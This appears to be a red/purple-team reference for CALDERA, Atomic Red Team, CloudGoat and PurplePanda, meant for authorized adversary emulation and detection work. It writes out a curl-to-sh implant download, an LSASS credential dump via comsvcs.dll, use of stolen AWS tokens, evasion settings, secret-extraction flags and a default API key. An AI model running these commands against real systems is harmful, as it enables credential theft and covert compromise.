<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->

# CALDERA, Atomic Red Team, and CloudGoat Reference

## CALDERA Operation Setup

### Server and Agent Deployment

```bash
# Start CALDERA (Python venv recommended)
git clone --recursive
pip3 install -r requirements.txt
python3 server.py --insecure --build    # UI on :8888
# Docker
docker run -p 8888:8888 ghcr.io/mitre/caldera:latest
```

Deploy Sandcat agent (default Go-based implant):
```bash
# From CALDERA server — generates platform-specific dropper
curl -s -X POST http://localhost:8888/file/download \
  -H 'KEY: ADMIN123' \
  -d '{"file":"sandcat.go-windows","type":"agent"}' > agent.exe
# Linux beacon
curl -s http://localhost:8888/file/download \
  -H 'KEY: ADMIN123' -d '{"file":"sandcat.go-linux"}' | sh &
```

### Adversary Profile YAML

Place in `data/adversaries/`:
```yaml
id: d0a0a0a0-0000-0000-0000-000000000001
name: APT29-Emulation
description: Cozy Bear TTP emulation — credential access + lateral movement
atomic_ordering:
  - 6b55a4b0-b5d5-4b3a-8b14-9f3e5b01e8c2  # LSASS dump
  - e9a3babc-d62b-4bab-a3bf-c4fe3e09a85b  # lateral move SMB
  - b3d3cb6b-a2c2-4b7a-9a1d-e01c0c2e6c3f  # DCSync
tags: [credential-access, lateral-movement, collection]
```

### Ability YAML

Place in `data/abilities/{tactic}/`:
```yaml
id: 6b55a4b0-b5d5-4b3a-8b14-9f3e5b01e8c2
name: LSASS Comsvcs Dump
description: Dump LSASS via comsvcs.dll LOLBin
tactic: credential-access
technique:
  attack_id: T1003.001
  name: OS Credential Dumping - LSASS Memory
executors:
  - name: psh
    platform: windows
    command: |
      $lsass = Get-Process lsass | Select-Object -ExpandProperty Id
      rundll32 C:\windows\system32\comsvcs.dll, MiniDump $lsass C:\windows\temp\ls.dmp full
    cleanup:
      - Remove-Item C:\windows\temp\ls.dmp -Force -ErrorAction Ignore
    parsers:
      - module: app.parsers.basic
        parserconfigs:
          - source: host.user.name
            edge: has_credential
```

### REST API Operation Creation

```bash
curl -X POST http://localhost:8888/api/v2/operations \
  -H 'KEY: ADMIN123' -H 'Content-Type: application/json' \
  -d '{
    "name": "APT29 Emulation Run 1",
    "adversary": {"adversary_id": "d0a0a0a0-0000-0000-0000-000000000001"},
    "planner": {"id": "aaa7c857-37a0-4c4a-85f7-4e9f7f30e31a"},
    "group": "red",
    "auto_close": true,
    "obfuscator": "base64",
    "visibility": 51
  }'
```

Planners: atomic (sequential), batch (all agents simultaneously).
Obfuscators: plain-text, base64, caesar.
Visibility: 1-100 — lower = more evasive.

**Anti-pattern:** Running CALDERA with default API keys in accessible environments.

## Atomic Red Team

```powershell
# Install (Windows)
Install-Module -Name invoke-atomicredteam, powershell-yaml -Scope CurrentUser
Import-Module Invoke-AtomicRedTeam

# List available tests
Invoke-AtomicTest T1003.001 -ShowDetailsBrief

# Run with prereqs check
Invoke-AtomicTest T1003.001 -GetPrereqs
Invoke-AtomicTest T1003.001

# Run specific test number
Invoke-AtomicTest T1003.001 -TestNumbers 2

# Cleanup
Invoke-AtomicTest T1003.001 -Cleanup

# Run all credential-access tests
Get-AtomicTechnique -Path "C:\AtomicRedTeam\atomics" | Where-Object {$_.tactic -eq "credential-access"} |
  Invoke-AtomicTest -GetPrereqs -Cleanup
```

Linux atomics: `bash atomic-red-team/atomics/T1059.004/T1059.004.sh`

### Custom Atomic Design

```yaml
attack_technique: T1078.004
display_name: Valid Accounts - Cloud Accounts
atomic_tests:
  - name: AWS stolen token usage
    description: Use a stolen AWS session token to enumerate IAM
    platforms:
      linux:
        command: |
          aws sts get-caller-identity --profile #{compromised_profile}
          aws iam list-attached-user-policies --user-name #{user_name} --profile #{compromised_profile}
        cleanup_command: aws configure --profile #{compromised_profile} --reset
    input_arguments:
      compromised_profile:
        description: AWS CLI profile with stolen credentials
        type: string
        default: attacker
```

**Anti-pattern:** Running Atomic tests against production systems.

## CloudGoat Scenarios

| Scenario | Attack Path | Detection Focus |
|----------|-------------|-----------------|
| `iam_privesc_by_rollback` | IAM policy version rollback → admin | CloudTrail: `iam:SetDefaultPolicyVersion` |
| `cloud_breach_s3` | SSRF → IMDS → role creds → S3 exfil | VPC Flow Logs + S3 object-level logging |
| `ec2_ssrf` | SSRF metadata access → credential theft | IMDSv2 enforcement |
| `ecs_privesc_evade_protection` | ECS task privilege escalation | ECS exec logging |
| `detection_evasion` | Honeytoken identification | `sdb:ListDomains` = honeytoken probe |
| `lambda_privesc` | Lambda env var → escalation | `lambda:UpdateFunctionCode` |

```bash
cd cloudgoat && python3 cloudgoat.py config profile <your-aws-profile>
python3 cloudgoat.py create iam_privesc_by_rollback
python3 cloudgoat.py destroy iam_privesc_by_rollback
```

## PurplePanda Cloud Enumeration

```bash
export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687"
export PURPLEPANDA_PWD="s3cr3tpassword"
python3 main.py -e -p google,github,k8s \
  --github-only-org --k8s-get-secret-values --gcp-get-secret-values
```

### Key Neo4j Queries

```cypher
// All principals with privesc paths
MATCH(p)-[r:PRIVESC]->(res) RETURN p,r,res

// Full privesc path for specific principal
MATCH (ppal:GcpPrincipal) WHERE ppal.email = "user@domain.com"
OPTIONAL MATCH r1 = (ppal)-[:PRIVESC*..]->(res1)
OPTIONAL MATCH r2 = (ppal)-[:MEMBER_OF*..]->(g)-[:PRIVESC*..]->(res2)
RETURN ppal,res1,g,res2

// Cross-platform privesc
MATCH(attacker:Gcp)-[r:PRIVESC]->(victim) WHERE NOT "Gcp" IN labels(victim)
RETURN attacker, r, victim

// K8s namespaces with AWS IAM role bindings
MATCH(n:K8sNamespace) WHERE n.iam_amazonaws_com_permitted <> "" RETURN n
```
